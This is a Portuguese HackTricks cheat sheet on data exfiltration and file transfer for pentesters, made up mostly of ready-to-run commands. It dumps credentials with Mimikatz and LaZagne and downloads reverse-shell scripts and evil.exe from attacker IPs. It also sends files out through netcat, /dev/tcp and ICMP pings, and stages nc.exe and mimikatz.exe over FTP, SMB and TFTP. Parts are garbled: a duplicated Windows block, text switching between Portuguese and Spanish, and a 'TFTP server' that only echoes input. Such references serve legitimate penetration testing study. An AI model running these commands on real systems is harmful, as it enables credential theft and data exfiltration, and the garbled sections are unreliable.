30 KiB
Exfiltração
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Você trabalha em uma empresa de segurança cibernética? Você quer ver sua empresa anunciada no HackTricks? ou você quer ter acesso à última versão do PEASS ou baixar o HackTricks em PDF? Confira os PLANOS DE ASSINATURA!
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Adquira o swag oficial do PEASS & HackTricks
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-me no Twitter 🐦@carlospolopm.
- Compartilhe suas técnicas de hacking enviando PRs para o repositório hacktricks e para o repositório hacktricks-cloud.
Dica de bug bounty: inscreva-se no Intigriti, uma plataforma premium de bug bounty criada por hackers, para hackers! Junte-se a nós em https://go.intigriti.com/hacktricks hoje mesmo e comece a ganhar recompensas de até $100.000!
{% embed url="https://go.intigriti.com/hacktricks" %}
Copiar e Colar Base64
Linux
base64 -w0 <file> #Encode file
base64 -d file #Decode file
Windows
Exfil Windows Credentials
Using Mimikatz
Mimikatz is a tool that can be used to extract Windows credentials from memory. It can be used to extract passwords, hashes, and Kerberos tickets from memory.
Dumping Credentials
To dump credentials from memory, run the following command:
mimikatz # privilege::debug
mimikatz # sekurlsa::logonPasswords full
This will dump all of the credentials from memory, including passwords, hashes, and Kerberos tickets.
Dumping Hashes
To dump hashes from memory, run the following command:
mimikatz # privilege::debug
mimikatz # sekurlsa::hashes
This will dump all of the hashes from memory.
Using LaZagne
LaZagne is a tool that can be used to retrieve passwords stored on a Windows system. It can retrieve passwords from a variety of sources, including web browsers, email clients, and instant messaging programs.
Dumping Credentials
To dump credentials using LaZagne, run the following command:
laZagne.exe all
This will dump all of the credentials from the system.
Using Empire
Empire is a post-exploitation framework that can be used to exfiltrate Windows credentials. It can be used to dump passwords, hashes, and Kerberos tickets from memory.
Dumping Credentials
To dump credentials using Empire, run the following command:
powershell> Invoke-Mimikatz -DumpCreds
This will dump all of the credentials from memory, including passwords, hashes, and Kerberos tickets.
certutil -encode payload.dll payload.b64
certutil -decode payload.b64 payload.dll
HTTP
Linux
wget 10.10.14.14:8000/tcp_pty_backconnect.py -O /dev/shm/.rev.py
wget 10.10.14.14:8000/tcp_pty_backconnect.py -P /dev/shm
curl 10.10.14.14:8000/shell.py -o /dev/shm/shell.py
fetch 10.10.14.14:8000/shell.py #FreeBSD
Windows
Exfil Windows Credentials
Using Mimikatz
Mimikatz is a tool that can be used to extract Windows credentials from memory. It can be used to extract passwords, hashes, and Kerberos tickets from memory.
Dumping Credentials
To dump credentials from memory, run the following command:
mimikatz # privilege::debug
mimikatz # sekurlsa::logonPasswords full
This will dump all of the credentials from memory, including passwords, hashes, and Kerberos tickets.
Dumping Hashes
To dump hashes from memory, run the following command:
mimikatz # privilege::debug
mimikatz # sekurlsa::hashes
This will dump all of the hashes from memory.
Using LaZagne
LaZagne is a tool that can be used to retrieve passwords stored on a local computer. It can retrieve passwords from a variety of sources, including web browsers, email clients, and instant messaging programs.
Dumping Credentials
To dump credentials using LaZagne, run the following command:
laZagne.exe all
This will dump all of the credentials from the local computer.
Using Empire
Empire is a post-exploitation framework that can be used to exfiltrate Windows credentials. It can be used to dump credentials from memory, as well as to perform other post-exploitation tasks.
Dumping Credentials
To dump credentials using Empire, run the following command:
powershell
Import-Module .\PowerSploit.psd1
Invoke-Mimikatz -DumpCreds
This will dump all of the credentials from memory.
Using Metasploit
Metasploit is a penetration testing framework that can be used to exfiltrate Windows credentials. It can be used to dump credentials from memory, as well as to perform other post-exploitation tasks.
Dumping Credentials
To dump credentials using Metasploit, run the following command:
use post/windows/gather/credentials/gpp
set SESSION <session id>
run
This will dump the Group Policy Preferences (GPP) password from memory.
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64
bitsadmin /transfer transfName /priority high http://example.com/examplefile.pdf C:\downloads\examplefile.pdf
#PS
(New-Object Net.WebClient).DownloadFile("http://10.10.14.2:80/taskkill.exe","C:\Windows\Temp\taskkill.exe")
Invoke-WebRequest "http://10.10.14.2:80/taskkill.exe" -OutFile "taskkill.exe"
wget "http://10.10.14.2/nc.bat.exe" -OutFile "C:\ProgramData\unifivideo\taskkill.exe"
Import-Module BitsTransfer
Start-BitsTransfer -Source $url -Destination $output
#OR
Start-BitsTransfer -Source $url -Destination $output -Asynchronous
Upload de arquivos
- SimpleHttpServerWithFileUploads
- SimpleHttpServer imprimindo GET e POSTs (também cabeçalhos)
- Módulo Python uploadserver:
# Listen to files
python3 -m pip install --user uploadserver
python3 -m uploadserver
# With basic auth:
# python3 -m uploadserver --basic-auth hello:world
# Send a file
curl -X POST http://HOST/upload -H -F 'files=@file.txt'
# With basic auth:
# curl -X POST http://HOST/upload -H -F 'files=@file.txt' -u hello:world
Servidor HTTPS
Descrição
Um servidor HTTPS é um servidor web que utiliza o protocolo HTTPS para criptografar as comunicações entre o servidor e o cliente. Isso garante que as informações transmitidas sejam seguras e não possam ser interceptadas por terceiros.
Exfiltração
A exfiltração de dados de um servidor HTTPS pode ser mais difícil do que a de um servidor HTTP, pois as comunicações são criptografadas. No entanto, ainda é possível exfiltrar dados por meio de vulnerabilidades no servidor ou por meio de ataques de engenharia social.
Algumas técnicas de exfiltração que podem ser usadas em um servidor HTTPS incluem:
-
DNS Tunneling: essa técnica envolve a criação de um túnel DNS para exfiltrar dados. O atacante envia os dados para um servidor DNS controlado por ele, que pode ser acessado de fora da rede. O servidor DNS, em seguida, retorna os dados para o atacante por meio de respostas DNS.
-
Steganography: essa técnica envolve a ocultação de dados em arquivos de imagem ou áudio. O atacante pode, por exemplo, ocultar dados em uma imagem em um site HTTPS e, em seguida, baixar a imagem de fora da rede.
-
HTTP Header Injection: essa técnica envolve a injeção de dados em cabeçalhos HTTP. O atacante pode, por exemplo, injetar dados em um cabeçalho HTTP em uma solicitação HTTPS e, em seguida, capturar a solicitação de fora da rede.
Prevenção
Para prevenir a exfiltração de dados de um servidor HTTPS, é importante manter o servidor atualizado e corrigir quaisquer vulnerabilidades conhecidas. Além disso, é importante educar os usuários sobre os riscos de engenharia social e implementar medidas de segurança, como autenticação de dois fatores e monitoramento de rede.
# from https://gist.github.com/dergachev/7028596
# taken from http://www.piware.de/2011/01/creating-an-https-server-in-python/
# generate server.xml with the following command:
# openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
# run as follows:
# python simple-https-server.py
# then in your browser, visit:
# https://localhost:443
### PYTHON 2
import BaseHTTPServer, SimpleHTTPServer
import ssl
httpd = BaseHTTPServer.HTTPServer(('0.0.0.0', 443), SimpleHTTPServer.SimpleHTTPRequestHandler)
httpd.socket = ssl.wrap_socket (httpd.socket, certfile='./server.pem', server_side=True)
httpd.serve_forever()
###
### PYTHON3
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl
httpd = HTTPServer(('0.0.0.0', 443), BaseHTTPRequestHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="./server.pem", server_side=True)
httpd.serve_forever()
###
### USING FLASK
from flask import Flask, redirect, request
from urllib.parse import quote
app = Flask(__name__)
@app.route('/')
def root():
print(request.get_json())
return "OK"
if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
###
FTP
Servidor FTP (python)
#!/usr/bin/env python3
import socket
import os
def send_file(conn, filename):
with open(filename, 'rb') as f:
conn.sendall(f.read())
def handle_connection(conn, addr):
print(f'[*] New connection from {addr[0]}:{addr[1]}')
conn.sendall(b'Welcome to my FTP server!\n')
while True:
data = conn.recv(1024).decode().strip()
if not data:
break
if data.startswith('GET '):
filename = data.split()[1]
if os.path.isfile(filename):
conn.sendall(b'OK\n')
send_file(conn, filename)
else:
conn.sendall(b'ERROR\n')
else:
conn.sendall(b'ERROR\n')
conn.close()
def main():
bind_ip = '0.0.0.0'
bind_port = 21
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.bind((bind_ip, bind_port))
s.listen(1)
print(f'[*] Listening on {bind_ip}:{bind_port}')
while True:
conn, addr = s.accept()
handle_connection(conn, addr)
if __name__ == '__main__':
main()
Este é um servidor FTP simples escrito em Python que permite que um cliente faça download de arquivos do servidor. O servidor escuta na porta 21 e aceita conexões de um único cliente por vez. Quando um cliente se conecta, o servidor envia uma mensagem de boas-vindas e aguarda comandos do cliente. O servidor suporta apenas o comando GET, que permite que o cliente faça download de um arquivo do servidor. Se o arquivo existir no servidor, o servidor envia o conteúdo do arquivo para o cliente. Se o arquivo não existir, o servidor envia uma mensagem de erro para o cliente.
pip3 install pyftpdlib
python3 -m pyftpdlib -p 21
Servidor FTP (NodeJS)
Introdução
O servidor FTP é uma das maneiras mais simples de exfiltrar dados de um ambiente comprometido. Neste caso, usaremos um servidor FTP escrito em NodeJS para receber os dados exfiltrados.
Configuração
Para configurar o servidor FTP, primeiro precisamos instalar o pacote ftp-srv
do NodeJS:
npm install ftp-srv
Em seguida, podemos criar um arquivo server.js
com o seguinte conteúdo:
const FtpSrv = require('ftp-srv');
const ftpServer = new FtpSrv({
url: 'ftp://127.0.0.1:21',
pasv_url: 'ftp://127.0.0.1:3000',
greeting: 'Welcome to my FTP server',
anonymous: true,
file_format: 'ls',
});
ftpServer.on('login', ({connection, username, password}, resolve, reject) => {
console.log(`User ${username} logged in`);
resolve({root: './'});
});
ftpServer.listen()
.then(() => {
console.log('FTP server listening');
});
Este arquivo cria um servidor FTP que escuta na porta 21 e usa a porta 3000 para conexões passivas. O servidor é configurado para permitir logins anônimos e usa o diretório atual como raiz para o usuário conectado.
Uso
Para usar o servidor FTP, basta conectar-se a ele usando um cliente FTP e fazer o upload dos dados que deseja exfiltrar. Os dados serão armazenados no diretório raiz do usuário conectado.
sudo npm install -g ftp-srv --save
ftp-srv ftp://0.0.0.0:9876 --root /tmp
Servidor FTP (pure-ftp)
Exfiltration
Exfiltração
Pure-FTP is a popular FTP server that can be used to exfiltrate data from a compromised system.
O Pure-FTP é um servidor FTP popular que pode ser usado para exfiltrar dados de um sistema comprometido.
To exfiltrate data using Pure-FTP, you will need to have a Pure-FTP server set up and running on a remote system that you control.
Para exfiltrar dados usando o Pure-FTP, você precisará ter um servidor Pure-FTP configurado e em execução em um sistema remoto que você controle.
Once you have the server set up, you can use a variety of FTP clients to connect to the server and transfer data.
Depois de configurar o servidor, você pode usar uma variedade de clientes FTP para se conectar ao servidor e transferir dados.
One popular FTP client is FileZilla, which is available for Windows, macOS, and Linux.
Um cliente FTP popular é o FileZilla, que está disponível para Windows, macOS e Linux.
To use FileZilla to exfiltrate data, you will need to configure it to connect to your Pure-FTP server.
Para usar o FileZilla para exfiltrar dados, você precisará configurá-lo para se conectar ao seu servidor Pure-FTP.
Once you are connected, you can navigate to the directory on the compromised system where the data you want to exfiltrate is located, and then transfer the data to the remote Pure-FTP server.
Depois de conectado, você pode navegar até o diretório no sistema comprometido onde os dados que deseja exfiltrar estão localizados e, em seguida, transferir os dados para o servidor Pure-FTP remoto.
apt-get update && apt-get install pure-ftp
#Run the following script to configure the FTP server
#!/bin/bash
groupadd ftpgroup
useradd -g ftpgroup -d /dev/null -s /etc ftpuser
pure-pwd useradd fusr -u ftpuser -d /ftphome
pure-pw mkdb
cd /etc/pure-ftpd/auth/
ln -s ../conf/PureDB 60pdb
mkdir -p /ftphome
chown -R ftpuser:ftpgroup /ftphome/
/etc/init.d/pure-ftpd restart
Cliente Windows
#Work well with python. With pure-ftp use fusr:ftp
echo open 10.11.0.41 21 > ftp.txt
echo USER anonymous >> ftp.txt
echo anonymous >> ftp.txt
echo bin >> ftp.txt
echo GET mimikatz.exe >> ftp.txt
echo bye >> ftp.txt
ftp -n -v -s:ftp.txt
SMB
Kali como servidor
Exfiltración de archivos
Usando smbclient
smbclient
es una herramienta de línea de comandos que permite interactuar con recursos compartidos de SMB/CIFS. Podemos usarlo para subir archivos a un recurso compartido remoto.
smbclient //IP/SHARE -U username%password -c "put file.txt"
Usando smbmap
smbmap
es una herramienta de enumeración de recursos compartidos de SMB/CIFS. Podemos usarlo para listar los recursos compartidos y descargar archivos.
smbmap -u username -p password -H IP -R sharename -A file.txt
Usando impacket
impacket
es una colección de herramientas de Python para interactuar con protocolos de red. Podemos usarlo para subir y descargar archivos.
impacket-smbserver sharename /path/to/folder
impacket-smbclient //IP/sharename -u username -p password
Exfiltración de datos
Usando smbclient
Podemos usar smbclient
para descargar archivos de un recurso compartido remoto.
smbclient //IP/SHARE -U username%password -c "get file.txt"
Usando smbget
smbget
es una herramienta de línea de comandos que permite descargar archivos de un recurso compartido de SMB/CIFS.
smbget -U username -P password smb://IP/SHARE/file.txt
Usando impacket
Podemos usar impacket
para descargar archivos de un recurso compartido remoto.
impacket-smbclient //IP/sharename -u username -p password
smb: \> get file.txt
kali_op1> impacket-smbserver -smb2support kali `pwd` # Share current directory
kali_op2> smbserver.py -smb2support name /path/folder # Share a folder
#For new Win10 versions
impacket-smbserver -smb2support -user test -password test test `pwd`
Ou crie um compartilhamento smb usando samba:
apt-get install samba
mkdir /tmp/smb
chmod 777 /tmp/smb
#Add to the end of /etc/samba/smb.conf this:
[public]
comment = Samba on Ubuntu
path = /tmp/smb
read only = no
browsable = yes
guest ok = Yes
#Start samba
service smbd restart
Exfiltração de Dados do Windows
Introdução
A exfiltração de dados é o processo de roubar dados de um sistema comprometido e transferi-los para um sistema controlado pelo atacante. Existem várias técnicas que podem ser usadas para exfiltrar dados do Windows.
Técnicas
FTP
O FTP é um protocolo de transferência de arquivos que pode ser usado para exfiltrar dados do Windows. O atacante pode configurar um servidor FTP em um sistema controlado por ele e, em seguida, usar um cliente FTP no sistema comprometido para transferir os dados.
HTTP
O HTTP é um protocolo de transferência de hipertexto que pode ser usado para exfiltrar dados do Windows. O atacante pode configurar um servidor HTTP em um sistema controlado por ele e, em seguida, usar um cliente HTTP no sistema comprometido para transferir os dados.
DNS
O DNS é um protocolo de resolução de nomes que pode ser usado para exfiltrar dados do Windows. O atacante pode configurar um servidor DNS em um sistema controlado por ele e, em seguida, usar um cliente DNS no sistema comprometido para transferir os dados.
SMTP
O SMTP é um protocolo de transferência de correio eletrônico que pode ser usado para exfiltrar dados do Windows. O atacante pode configurar um servidor SMTP em um sistema controlado por ele e, em seguida, usar um cliente SMTP no sistema comprometido para transferir os dados.
SMB
O SMB é um protocolo de compartilhamento de arquivos que pode ser usado para exfiltrar dados do Windows. O atacante pode configurar um servidor SMB em um sistema controlado por ele e, em seguida, usar um cliente SMB no sistema comprometido para transferir os dados.
Conclusão
Existem várias técnicas que podem ser usadas para exfiltrar dados do Windows. É importante que as organizações implementem medidas de segurança adequadas para proteger seus sistemas contra essas técnicas.
CMD-Wind> \\10.10.14.14\path\to\exe
CMD-Wind> net use z: \\10.10.14.14\test /user:test test #For SMB using credentials
WindPS-1> New-PSDrive -Name "new_disk" -PSProvider "FileSystem" -Root "\\10.10.14.9\kali"
WindPS-2> cd new_disk:
SCP
O atacante precisa ter o SSHd em execução.
scp <username>@<Attacker_IP>:<directory>/<filename>
SSHFS
Se a vítima tiver SSH, o atacante pode montar um diretório da vítima para o atacante.
sudo apt-get install sshfs
sudo mkdir /mnt/sshfs
sudo sshfs -o allow_other,default_permissions <Target username>@<Target IP address>:<Full path to folder>/ /mnt/sshfs/
NC
O comando nc
(netcat) é uma ferramenta de rede que pode ser usada para transferir dados de um host para outro. É muito útil para exfiltrar dados de um servidor comprometido para um host controlado pelo atacante.
Exemplo de uso
Para exfiltrar um arquivo usando nc
, primeiro inicie um servidor nc
no host controlado pelo atacante:
nc -lvp 1234 > exfiltrated_file
Em seguida, no servidor comprometido, use o seguinte comando para enviar o arquivo para o host controlado pelo atacante:
cat file_to_exfiltrate | nc <attacker_ip> 1234
O arquivo será transferido para o host controlado pelo atacante e salvo como exfiltrated_file
.
Observações
- O comando
nc
pode ser encontrado em sistemas Linux e Windows. - O uso de
nc
pode ser detectado por firewalls e sistemas de detecção de intrusão. - O uso de
nc
pode ser considerado suspeito em ambientes corporativos e pode levar a investigações de segurança.
nc -lvnp 4444 > new_file
nc -vn <IP> 4444 < exfil_file
/dev/tcp
Baixar arquivo da vítima
nc -lvnp 80 > file #Inside attacker
cat /path/file > /dev/tcp/10.10.10.10/80 #Inside victim
Enviar arquivo para a vítima
nc -w5 -lvnp 80 < file_to_send.txt # Inside attacker
# Inside victim
exec 6< /dev/tcp/10.10.10.10/4444
cat <&6 > file.txt
ICMP
graças a @BinaryShadow_
# To exfiltrate the content of a file via pings you can do:
xxd -p -c 4 /path/file/exfil | while read line; do ping -c 1 -p $line <IP attacker>; done
#This will 4bytes per ping packet (you could probably increase this until 16)
from scapy.all import *
#This is ippsec receiver created in the HTB machine Mischief
def process_packet(pkt):
if pkt.haslayer(ICMP):
if pkt[ICMP].type == 0:
data = pkt[ICMP].load[-4:] #Read the 4bytes interesting
print(f"{data.decode('utf-8')}", flush=True, end="")
sniff(iface="tun0", prn=process_packet)
SMTP
Se você pode enviar dados para um servidor SMTP, você pode criar um servidor SMTP para receber os dados com python:
sudo python -m smtpd -n -c DebuggingServer :25
TFTP
Por padrão no XP e 2003 (em outros sistemas operacionais é necessário adicioná-lo explicitamente durante a instalação)
No Kali, inicie o servidor TFTP:
#I didn't get this options working and I prefer the python option
mkdir /tftp
atftpd --daemon --port 69 /tftp
cp /path/tp/nc.exe /tftp
Servidor TFTP em Python:
Este é um exemplo de um servidor TFTP simples escrito em Python. Ele pode ser usado para exfiltrar dados de uma rede comprometida para um servidor controlado pelo atacante. O servidor TFTP é executado em uma porta específica e aguarda a conexão de um cliente TFTP. Quando um cliente se conecta, o servidor envia o arquivo solicitado pelo cliente. Neste caso, o arquivo é um arquivo de texto simples, mas pode ser qualquer tipo de arquivo.
import socketserver
class TFTPServer(socketserver.UDPServer):
def __init__(self, server_address, RequestHandlerClass):
socketserver.UDPServer.__init__(self, server_address, RequestHandlerClass)
class TFTPRequestHandler(socketserver.BaseRequestHandler):
def handle(self):
data = self.request[0].strip()
socket = self.request[1]
print("{} wrote:".format(self.client_address[0]))
print(data)
socket.sendto(data.upper(), self.client_address)
if __name__ == "__main__":
HOST, PORT = "0.0.0.0", 69
server = TFTPServer((HOST, PORT), TFTPRequestHandler)
server.serve_forever()
Para executar o servidor, basta salvar o código em um arquivo com a extensão .py
e executá-lo com o comando python nome_do_arquivo.py
. O servidor será executado na porta 69 e aguardará a conexão de um cliente TFTP.
pip install ptftpd
ptftpd -p 69 tap0 . # ptftp -p <PORT> <IFACE> <FOLDER>
No vítima, conecte-se ao servidor Kali:
tftp -i <KALI-IP> get nc.exe
PHP
Baixe um arquivo com um PHP oneliner:
echo "<?php file_put_contents('nameOfFile', fopen('http://192.168.1.102/file', 'r')); ?>" > down2.php
VBScript
VBScript é uma linguagem de script da Microsoft que é usada para automatizar tarefas em sistemas Windows. É uma linguagem de script interpretada que é executada pelo Windows Script Host. VBScript é uma linguagem de programação fácil de aprender e é usada para criar scripts que podem ser usados para realizar várias tarefas, como manipulação de arquivos, interação com o usuário e acesso a bancos de dados.
VBScript é frequentemente usado em ataques de phishing para executar malware em sistemas Windows. Os atacantes podem usar VBScript para baixar e executar arquivos maliciosos, roubar informações confidenciais e exfiltrar dados. Para evitar a detecção, os atacantes podem ofuscar o código VBScript usando técnicas como a codificação Base64.
Os defensores podem detectar o uso de VBScript em ataques monitorando o tráfego de rede em busca de comunicações suspeitas, como o envio de dados para endereços IP desconhecidos. Eles também podem usar ferramentas de análise de código para identificar código VBScript malicioso e bloquear sua execução.
Attacker> python -m SimpleHTTPServer 80
Vítima
echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> wget.vbs
echo Err.Clear >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs
echo If http Is Nothing Then Set http =CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs
echo http.Open "GET", strURL, False >> wget.vbs
echo http.Send >> wget.vbs
echo varByteArray = http.ResponseBody >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
echo Set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs
echo strData = "" >> wget.vbs
echo strBuffer = "" >> wget.vbs
echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) >> wget.vbs
echo Next >> wget.vbs
echo ts.Close >> wget.vbs
cscript wget.vbs http://10.11.0.5/evil.exe evil.exe
Debug.exe
Esta é uma técnica maluca que funciona em máquinas Windows de 32 bits. A ideia é usar o programa debug.exe
. Ele é usado para inspecionar binários, como um depurador. Mas também pode reconstruí-los a partir de hex. Então, a ideia é que pegamos binários, como netcat
. E então desmontamos em hex, colamos em um arquivo na máquina comprometida e, em seguida, montamos com debug.exe
.
Debug.exe
só pode montar 64 kb. Então, precisamos usar arquivos menores que isso. Podemos usar o UPX para comprimi-lo ainda mais. Então, vamos fazer isso:
upx -9 nc.exe
Agora ele pesa apenas 29 kb. Perfeito. Então, agora vamos desmontá-lo:
wine exe2bat.exe nc.exe nc.txt
Agora, basta copiar e colar o texto em nosso shell do Windows. E ele criará automaticamente um arquivo chamado nc.exe
DNS
Dica de bug bounty: inscreva-se no Intigriti, uma plataforma premium de bug bounty criada por hackers, para hackers! Junte-se a nós em https://go.intigriti.com/hacktricks hoje e comece a ganhar recompensas de até $100.000!
{% embed url="https://go.intigriti.com/hacktricks" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Você trabalha em uma empresa de segurança cibernética? Você quer ver sua empresa anunciada no HackTricks? ou quer ter acesso à última versão do PEASS ou baixar o HackTricks em PDF? Verifique os PLANOS DE ASSINATURA!
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Adquira o swag oficial do PEASS & HackTricks
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-me no Twitter 🐦@carlospolopm.
- Compartilhe seus truques de hacking enviando PRs para o repositório hacktricks e hacktricks-cloud repo.